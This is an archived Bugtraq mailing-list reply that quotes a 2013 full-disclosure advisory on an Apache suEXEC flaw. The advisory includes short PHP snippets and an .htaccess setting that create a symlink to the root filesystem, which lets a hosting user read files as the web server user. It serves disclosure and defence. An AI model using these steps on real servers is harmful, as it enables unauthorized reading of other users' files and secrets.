Home page logo

bugtraq logo Bugtraq mailing list archives

Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
From: Gichuki John Chuksjonia <chuksjonia () gmail com>
Date: Sat, 10 Aug 2013 13:10:10 +0300

One thing u gotta remember most of the Admins who handle webservers in
a network are also developers since most of the organizations will
always need to cut on expenses, and as we know, most of the developers
will just look into finishing work and making it work. So if something
doesn't run due to httpd.conf, you will find these guys loosening
server security, therefore opening holes to the infrastructure.

Just my two cents


On 8/10/13, Kingcope <isowarez.isowarez.isowarez () googlemail com> wrote:
Uhh Hit em with a little Ghetto Gospel

So am i less holy Because i Puff a blunt and Drink a Beer with my homies?

Theres no Need for you to fear me if you Take your Time and Hear me Maybe
you can learn to cheer me.
It aint about Black and white cause we Human !!!
Lord can you Hear me speaaak!!

Am 09.08.2013 um 16:33 schrieb Kingcope
<isowarez.isowarez.isowarez () googlemail com>:

So the blackhat that Sits on ur Site and the site of ur company Since half
a year  will stop at the point Where its "technically incorrect" and wont
escalate to root because "it doesnt have to do Anything with suexec". Its
an Old vuln so let it stay , better for us and soon our Data on your

Time to Write a Real Root exploit and dont waste the Time with sysadmins
that know how to set a flag in httpd.conf   , apache devs included.

Am 09.08.2013 um 14:29 schrieb Kingcope
<isowarez.isowarez.isowarez () googlemail com>:

So what your Emails Tell me is better ignore this vulnerability. I dont
Claim its a High severity Bug but if you Tell People to ignore it Because
it isnt a vulnerability you are very much aiding the Chaos of insecurity
in the Internet today. You Maybe have a Secure Setting but theres only
you on the Planet. Attackers Look specifically for such Bugs to Open
Servers. No Wonder we have compromises in a High Scale every Day due to
this ignorance. My rant on that One.

Am 07.08.2013 um 21:49 schrieb king cope
<isowarez.isowarez.isowarez () googlemail com>:

Apache suEXEC privilege elevation / information disclosure

Discovered by Kingcope/Aug 2013

The suEXEC feature provides Apache users the ability to run CGI and SSI
under user IDs different from the user ID of the calling web server.
when a CGI or SSI program executes, it runs as the same user who is
running the
web server.
Used properly, this feature can reduce considerably the security risks
with allowing users to develop and run private CGI or SSI programs.

With this bug an attacker who is able to run php or cgi code inside a
hosting environment and the environment is configured to use suEXEC as
protection mechanism, he/she is able to read any file and directory on
the file-
system of the UNIX/Linux system with the user and group id of the
apache web server.

Normally php and cgi scripts are not allowed to read files with the
apache user-
id inside a suEXEC configured environment.

Take for example this apache owned file and the php script that

$ ls -la /etc/testapache
-rw------- 1 www-data www-data 36 Aug  7 16:28 /etc/testapache
only user www-data should be able to read this file.

$ cat test.php
     system("id; cat /etc/testapache");

When calling the php file using a webbrowser it will show...
uid=1002(example) gid=1002(example) groups=1002(example)

because the php script is run trough suEXEC.
The script will not output the file requested because of a permissions

Now if we create a .htaccess file with the content...
Options Indexes FollowSymLinks

and a php script with the content...

     system("ln -sf / test99.php");
     symlink("/", "test99.php"); // try builtin function in case when
                                 //system() is blocked
in the same folder

..we can access the root filesystem with the apache uid,gid by
requesting test99.php.
The above php script will simply create a symbolic link to '/'.

A request to test99.php/etc/testapache done with a web browser shows..
voila! read with the apache uid/gid

The reason we can now read out any files and traverse directories owned
by the
apache user is because apache httpd displays symlinks and directory
without querying suEXEC.
It is not possible to write to files in this case.

Version notes. Assumed is that all Apache versions are affected by this

apache2 -V
Server version: Apache/2.2.22 (Debian)
Server built:   Mar  4 2013 21:32:32
Server's Module Magic Number: 20051115:30
Server loaded:  APR 1.4.6, APR-Util 1.4.1
Compiled using: APR 1.4.6, APR-Util 1.4.1
Architecture:   32-bit
Server MPM:     Worker
threaded:     yes (fixed thread count)
 forked:     yes (variable process count)
Server compiled with....
-D APACHE_MPM_DIR="server/mpm/worker"
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"


Gichuki John Ndirangu, C.E.H , C.P.T.P, O.S.C.P
I.T Security Analyst and Penetration Tester
jgichuki at inbox d0t com


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]